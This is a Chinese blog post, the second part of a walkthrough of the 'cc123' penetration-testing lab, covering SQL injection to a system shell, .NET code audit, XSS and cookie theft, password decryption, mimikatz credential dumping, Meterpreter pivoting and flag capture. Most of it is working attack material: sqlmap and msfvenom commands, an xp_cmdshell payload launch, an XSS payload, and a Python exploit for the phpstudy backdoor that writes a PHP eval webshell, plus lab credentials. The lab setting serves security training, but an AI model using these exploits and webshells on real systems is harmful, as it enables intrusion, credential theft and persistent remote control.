当前位置: 首页 > news >正文

零基础‘自外网到内网’渗透过程详细记录(cc123靶场)——下


细节较多,篇幅较大,分为上/下两部分发布在两篇文章内

另一部分详见下面文章

零基础‘自外网到内网’渗透过程详细记录(cc123靶场)——上icon-default.png?t=O83Ahttps://blog.csdn.net/weixin_62808713/article/details/143572185


八、第二层数据库服务器权限获取

猜到新闻资讯内存在注入漏洞。

抓包进行验证。

将数据包粘贴到kali内。

vim cc123_sql.txt

使用sqlmap尝试注入。

sqlmap -r cc123_sql.txt --dbms mssql -v 1 --batch

查看其数据库。

sqlmap -r cc123_sql.txt --dbms mssql -v 1 --batch --dbs

查看当前数据库及其用户。

sqlmap -r cc123_sql.txt --dbms mssql -v 1 --batch --current-db --current-user

获取到了当前站点使用的数据库后,获取其相关的详细信息。

查看数据库grcms_data的表信息。

sqlmap -r cc123_sql.txt --dbms mssql -v 1 -D grcms_data --tables

看到名为admin的表,扫描其内信息,至此拿到了用户名及密码信息。

sqlmap -r cc123_sql.txt --dbms mssql -v 1 -D grcms_data -T admin --dump

接下来查看其是否能执行shell,发现可以执行。

sqlmap -r cc123_sql.txt --dbms mssql -v 1 --os-shell

执行命令看是否有回显,发现成功扫描到两个ip地址。

ipconfig

根据上面扫描到的ip地址,可以判断该网站采用站库分离,即web程序和数据库不在同一个服务器内,可以提高安全性。

查看当前权限,发现是系统权限。

whoami

至此,拿到了数据库服务器的系统权限。

九、.net代码审计

打开蚁剑查看服务器的目录。

C:/HwsHostMaster/wwwroot

访问目录C:/HwsHostMaster/wwwroot

cd C:/HwsHostMaster/wwwroot
dir

可以看到这里存在三个网站。

切换到ww2.cc123.com后并查看。

cd ww2cc123_55m39g
dir

进入到web目录下并查看。

cd web
dir

可以看到其存在上述文件,但是并没有看到html后缀的文件,发现站点是做了伪静态。

进入到bin目录下并查看文件。

cd bin
ls

切换到bin目录的上一级下载bin目录。

cd..
download bin

将下载的文件全部复制到本地。

首先将下载的文件移动到kali的桌面上。

mv bin /home/kali/Desktop

将其复制到本地。

这里即为网站的源代码。

接下来使用ILSpy工具逆向DLL文件进行分析。

查看admin目录下的文件。

查看login.aspx文件,可以看到App_Web_login.aspx。

cat login.aspx

回到本地内找一下App_Web_login.aspx,将其拖拽到工具内。

可以看到下面验证登录的代码。

审计这部分代码,发现其验证码错误后会进行返回,如果验证码正确的话会继续向下执行,但是这里验证码并没有被注销,这就导致验证码重用的漏洞,存在密码爆破的风险。

继续审计,发现下图所示的部分的代码导致其存在注入风险。

查看之前的数据包,发现有个newsadd.aspx。

回到本地内找到后将其拖拽到工具内。

可以看到下图位置也存在sql注入。

经过具体的分析后,发现任意的后台文件都存在sql注入。

进入到网页的后台内,查看其编辑器,发现其使用的是KindEditor。

这个编辑器存在漏洞,可以进行文件上传,包括html文件和txt文件等。

使用burp抓包上传html文件获取cookie。

下面代码可以获取cookie。

回到网页内将上面的html文件上传并抓包。

选择html文件。

抓取到下图所示数据包。

将数据包发送到repeater。

将下图所示位置修改成file。

放包后发现上传成功。

访问html文件,成功获取到了cookie。

ww2.cc123.com/editor/asp.net/../attached/file/20240903/20240903162048_4230.html

下面来审计文件上传漏洞。

使用编辑器上传一个文件并抓包,发现其地址内有一个newsadd.aspx。

回到本机机内找到这个文件并审计。

Ctrl+F查找upload,找到上传部分的代码。

发现其对上传的文件的后缀名进行了白名单验证,这里并不存在漏洞。

接下来返回到后台页面内,进行xss漏洞挖掘。

回到kali内查看web文件夹内的前台文件。

dir

查看文件mystat.aspx。

cat mystat.aspx

发现其存在XSS漏洞。

访问mystat.aspx文件。

点击查看页面源代码。

源代码如下,测试可以看到其style字段可控。

根据源代码,写入XSS语句。执行后成功看到了弹窗。

http://ww2.cc123.com/mystat.aspx?style=</script><script>alert(/xss/);</script><script>

至此,通过代码审计,后台页面内XSS漏洞挖掘完成。

十、编写DESC解密工具

查看web.Config文件。

cat web.Config

可以看到其数据库连接信息。

复制后回到之前上传的ASPXSpy2014.aspx内。

http://new.cc123.com/a/ASPXSpy2014.aspx

点击DataBase,将前面复制的数据库信息输入。

server=WIN-JJU7KU45PN7;database=grcms_data;uid=sa;pwd=!@#a123..

下图所示成功连接。

点击下面展示出来的TABLE_NAME,就可以把对应的sql语句显示在上面。

点击Query即可得到表内的信息。

这里就可以拿到用户名密码信息。

  • admin AE5F6187F32825CA
  • cc123 B97C57DB005F954242450A255217DA9F

尝试进行md5解密,发现均不成功。

再次利用ILSpy工具逆向分析其加密代码。

点击重新加载。

将后台登录文件拖入到工具内。

可以看到在密码部分的sql语句后面有一个字符串处理,包含一个key值。

点击进入Encrypt即为其加密方法。

其解密方法在加密方法的上方。

拿到上面的信息就可以编写解密工具了。

使用VS新建windows窗体应用程序项目。

在工具箱内选择添加组件,将其拖拽到下面。

给组件一个名字。

名字:DESC解密工具

接下来添加三个文本框,选择后将其拖拽到下面。

添加button组件。

将其命名为解密。

添加label标签。

分别命名。

调整细节。

添加名称。

名称:ranzi

双击“解密”进入编写解密代码。

复制刚刚的解密函数稍作更改后即可。

利用编写的解密工具解密得到用户名和对应的密码为:

  • admin cc123
  • cc123 qweasd123

十一、内网渗透

获取Web服务器路由信息,成功获取到了路由信息如下。

run get_local_subnets

接下来准备获取哈希值及明文密码。

首先做一下进程迁移,防止出错。

执行help命令查找终端。

help

执行ps命令找到vmtoolsd.exe进程,记住其进程号。

执行迁移命令。

migrate 1488

如下图所示即为迁移完成。

然后退出一下,然后进入一个新的会话。

background
sessions -i 2

加载Kiwi插件。

load kiwi

请求Kiwi获取调试权限,然后从系统的安全账户管理器(SAM)数据库中提取用户账户信息,包括用户名和哈希密码。

kiwi_cmd privilege::debug
kiwi_cmd "lsadump::sam"

提取当前登录用户的密码信息,包括明文密码和哈希值。

kiwi_cmd "sekurlsa::logonPasswords"

成功获取到了超级管理员的账号和密码明文。

整理前面获取到的信息,准备进行内网渗透:

  • 192.168.10.134
  • 10.10.10.128
  • Local subnet: 10.10.10.0/255.255.255.0
  • Local subnet: 192.168.10.0/255.255.255.0
  • Administrator  !@#Qwe123.

根据前面获取到的信息开始进行多重网段的内网渗透。

首先给web服务器进行添加路由。

run autoroute -s 10.10.10.0/24

验证是否成功添加。

run autoroute -p

退出一下准备启用代理模块。

background

调用模块并查看其需要的配置。

use auxiliary/server/socks_proxy
show options

修改配置信息。

set srvport 2222

开始执行。

run

验证前面操作是否成功。

首先修改配置文件。

vim /etc/proxychains4.conf

之后就可以进行内网扫描了。

proxychains nmap -sT -Pn 10.10.10.136

利用前面获取到的数据库的权限,获取数据库服务器网卡信息。

ipconfig

可以看到存在一个10.10.1.128的ip。

之后,要生成一个正向攻击载荷。

msfvenom -p windows/meterpreter/bind_tcp LPORT=13777 -f exe >bind.exe

将生成的攻击载荷移动到桌面。

mv bind.exe /home/kali/Desktop

访问之前上传的ASPXSpy2014.aspx。

http://new.cc123.com/a/ASPXSpy2014.aspx

选择SA_Upfile将刚刚生成的攻击载荷上传。

选择前面移动到桌面的攻击载荷。

添加上传路径后点击上传。

c:/bind.exe

上传成功后选择XP_cmdshell exec进行执行。

修改执行语句后点击Query。

Exec master.dbo.xp_cmdshell 'c:/bind.exe'

接下来准备开始监听。

选择模块。

use exploit/multi/handler

设置payload。

set payload windows/meterpreter/bind_tcp

配置监听地址。

set rhost 10.10.10.136

配置监听端口。

set lport 13777

开始监听。

run

成功连接。

查看当前权限。

getuid

可以看到已经是系统权限。

十二、获取数据库服务器哈希和明文

查看服务器网卡信息。

ipconfig

可以看到两个ip信息:

  • 10.10.1.128
  • 10.10.10.136

首先做一下进程的迁移。

首先查看进程。

ps

执行迁移命令。

migrate 1548

然后退出一下,进入一个新的会话。

background
sessions -i 2

加载Kiwi插件。

load kiwi

请求Kiwi获取调试权限,然后从系统的安全账户管理器(SAM)数据库中提取用户账户信息,包括用户名和哈希密码。

kiwi_cmd privilege::debug
kiwi_cmd "lsadump::sam"

提取当前登录用户的密码信息,包括明文密码和哈希值。

kiwi_cmd "sekurlsa::logonPasswords"

下图成功获取到了超级管理员的账号和密码明文。

进入到shell内。

shell

查看数据库主机名。

hostname

看完之后crtl+z退出。

查看数据库服务器的路由。

run get_local_subnets

可以看到路由信息如下:

  • Local subnet: 10.10.1.0/255.255.255.0
  • Local subnet: 10.10.10.0/255.255.255.0

配置添加路由。

run autoroute -s 10.10.1.0/24

验证。

run autoroute -p

扫描10.10.1.129。

proxychains nmap -sT -Pn 10.10.1.129

可以看到其开放80端口,尝试使用代理进行访问,访问后可以看到其是phpstudy的页面。

proxychains3 firefox http://10.10.1.129

根据前面获取到的信息,确认其版本为5.4.45。

phpstudy的2016、2014、2018的php-5.2.17、php-5.4.45版本均存在后门。

十三、利用python编写phpstudy后门利用工具

确认漏洞的存在后,接下来进行编写后门利用工具。

创建phpstudy.py文件。

vim phpstudy.py

代码编写如下。

#conding:utf-8
import requests
import sys
import base64shell = "system('"+sys.argv[1]+"');"
shell_base64 = base64.b64encode(shell.encode('utf-8'))header={'Accept-charset':shell_base64,'Accept-Encoding':'gzip,deflate'}def exploit(url):html = requests.get(url=url,headers=header).textreturn htmlurl = "http://10.10.1.129/"
print(exploit(url))"echo ^<?php @eval(\$_POST[\"shell\"])?^>>c:\phpstudy\WWW\shell.php"

执行上述py文件,向服务器写一个一句话木马。

proxychains3 python3 phpstudy.py "echo ^<?php@eval(\$_POST[\"shell\"])?^>>c:\phpstudy\WWW\shell.php"

访问写入的shell.php文件,发现成功上传了。

十四、SocksCap代理访问目标WEB服务器

为了更方便访问,使用SocksCap代理访问第三层服务器。

双击安装SocksCap代理工具。

点击下一步。

点击我接受。

选择位置后点击安装。

点击完成结束安装。

双击启动。

复制kali的ip。

192.168.10.132

回到SocksCap代理工具内,点击新增代理。

点击编辑其ip,将kali的ip填入。

端口更改为2222。

代理类型更改为sock4。

此时点击保存即可。

保存完成后可以点击进行测试。

测试正常后就可以代理一些应用程序了,这里代理中国菜刀。

找到中国菜刀的exe程序。

将其拖拽到代理工具内。

选中程序右键点击后选择在代理隧道中运行选中程序。

在弹出的页面内右键后点击添加。

将前面上传到服务器上的shell添加上去,然后填入密码,设置为UTF-8,最后点击添加。

添加完成后双击即可进行访问。

退出后右键即可进入虚拟终端。

进入终端后执行whoami命令。

whoami

可以看到已经是系统权限。

十五、metasploit正向连接目标WEB服务器

将之前在kali内生成的bind.exe上传到服务器内。

通过终端执行刚刚上传的exe。

c:\bind.exe

退出一下。

background

查看当前配置信息。

show options

修改配置信息。

set RHOST 10.10.1.129

执行后查看其权限,发现是系统权限。

run
getuid

执行线程迁移操作。

migrate 1340

进入shell后即可查看当前所在网段有无其它主机。

shell
arp-a

至此拿到了第三层服务器的系统权限。

十六、Flag获取

1.第一个flag

首先进入到wwwroot目录下。

cd C:/HwsHostMaster/wwwroot/

查看目录下内容,并进入ww2cc123_55m39g目录。

dir
cd ww2cc123_55m39g

进入到web目录下并查看。

cd web
dir

进入到upimg目录下然后查看目录内容。

cd upimg
dir

在此可以看到一个flag文件,查看后即可得到第一个flag。

cat flag.txt

2.第二个flag

进入到c盘根目录下并查看。

cd c:/users
dir

看到Administrator文件夹,进入并查看。

cd Administrator
dir

在此可以看到一个flag文件,查看后即可得到第二个flag。

cat flag2.txt

3.第三个flag

连接到数据库服务器。

进入c盘并查看文件。

cd c:/users
dir

看到Administrator文件夹,进入并查看。

cd Administrator
dir

在此可以看到一个名为root.txt.txt文件,查看后即可得到第三个flag。

cat root.txt.txt

4.第四个flag

连接到第三城的服务器后进入c盘。

cd :\\users
dir

看到Administrator文件夹,进入并查看。

cd Administrator
dir

在此可以看到一个名为root.txt.txt文件,查看后即可得到第四个flag。

cat root.txt

至此,获取到了全部的flag。


http://www.mrgr.cn/news/67086.html

相关文章:

  • Elasticsearch实战应用:构建高效的全文搜索引擎
  • 【机器学习】k最近邻分类
  • 登录功能设计(php+mysql)
  • 《XGBoost算法的原理推导》12-5正则化项拆分的目标函数 公式解析
  • 解析 MySQL 数据库容量统计、存储限制与优化技巧
  • 【sqlmap使用手册-持续更新中】
  • java_继承
  • Oracle 第26章:Oracle Data Guard
  • 11.6 校内模拟赛总结
  • Halcon打开多个窗口,指定窗口显示指定内容
  • ISUP协议视频平台EasyCVR私有化视频平台录像机(Ehome或ISUP 5.0)不在线如何排查原因?
  • 【022A】基于51单片机音乐盒
  • python代码实现datax、sqoop功能,用spark将hive数据导入导出到mysql
  • 期权懂|期权卖方亏损无限盈利有限,如何破解亏损无限呢?
  • 高效率的快捷回复软件 —— 客服宝聊天助手
  • BootStrap复选框多选,页面初始化选中处理
  • 昇思大模型平台打卡体验活动:基于MindSpore实现GPT1影评分类
  • 系统在此应用程序中检测到基于堆栈的缓冲区溢出。溢出可能允许恶意用户获得此应用程序的控制。
  • 如何用 ChatPaper.ai 打造完美的 AI 课堂笔记系统
  • Halcon 矫正图像 图像矫正
  • 深入浅出:解读注意力机制,让神经网络更“聪明”
  • string模拟实现【】
  • 【Spring】体系结构
  • 应急车道占用检测算法的技术方案与应用
  • OAuth2.0登录认证
  • 【猎顿英语】新东方or猎顿哪家强?哪个才是BEC备考的最佳选择?